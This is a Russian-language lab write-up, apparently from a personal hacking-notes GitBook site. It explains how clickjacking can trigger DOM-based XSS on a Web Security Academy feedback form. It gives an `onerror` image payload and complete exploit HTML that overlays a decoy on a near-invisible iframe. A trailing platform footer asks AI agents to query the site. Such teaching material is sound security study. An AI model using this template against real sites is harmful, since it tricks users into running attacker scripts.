> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/clickjacking/clickjacking-to-trigger-dom-xss.md).

# Кликджекинг для запуска DOM XSS

### Эксплуатация уязвимости Clickjacking для запуска DOM-based XSS

#### Цель

Заставить пользователя нажать кнопку ("Click Me"), встроенную в iframe, чтобы запустить `print()` функцию через XSS-уязвимость, запускаемую кликом.

<figure><img src="/files/ed678a3ff358623d3c6ecdb14ab80d0904c4f85d" alt=""><figcaption></figcaption></figure>

#### Контекст / Наблюдения

* У **формы обратной связи** есть `name` параметр, уязвимый к DOM XSS (полезная нагрузка JavaScript выполняется, когда изображение не загружается, и вызывает нужную функцию).
* Пример обнаруженной полезной нагрузки: `&name=<img src=0 onerror=print()>`.

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="/files/6726f1ccbbdf0f9a756b933b306c9e920a40303a" alt=""><figcaption></figcaption></figure>

* Другие полезные параметры для предварительного заполнения формы в фрейме: `email`, `subject`, `message`.

#### Используемый пейлоад

Чтобы запустить `print()` через уязвимость в `name`:

```html
<img src=0 onerror=print()>
```

<figure><img src="/files/582c6f327dfb46ad313d215cb7c5cba39e352d02" alt=""><figcaption></figcaption></figure>

* Добавьте `<iframe>` указывающий на `/feedback` уязвимую страницу с предварительно заполненными параметрами (`name`, `email`, `subject`, `message`) содержащую полезную нагрузку XSS.

```
?name=jordan&email=hello@jord4n.pro&subject=hacked&message=hack
```

<figure><img src="/files/8e823c0687f6338383f2c693d4c92a6f202ed228" alt=""><figcaption></figcaption></figure>

1. Сделайте фрейм почти невидимым (очень низкая непрозрачность) и наложите над ним приманку, расположив её так, чтобы клик жертвы попадал по кнопке "Click Me" внутри фрейма.
2. Когда жертва нажимает на приманку, клик передаётся во фрейм, и DOM XSS срабатывает — здесь `print()` вызывается.

#### Пример кода для размещения на сервере эксплойта

```html
<style>
iframe{
width: 1000px;
height:900px;
}
div{
position: relative;
top: 830px;
left: 80px;
}
</style>
<div>Нажми</div>
<iframe src="https://0a6200db035e811c815e804300ac0083.web-security-academy.net/feedback?name=%3Cimg%20src=0%20onerror=print()%3E&email=hello@jord4n.pro&subject=hacked&message=hack"</iframe>
```

<figure><img src="/files/eff6b69c00ae1cc3a143a0448fc9241d58175a55" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0eb446b43661ccd1be8282a5e4b8ff5a62e92d8c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/clickjacking/clickjacking-to-trigger-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
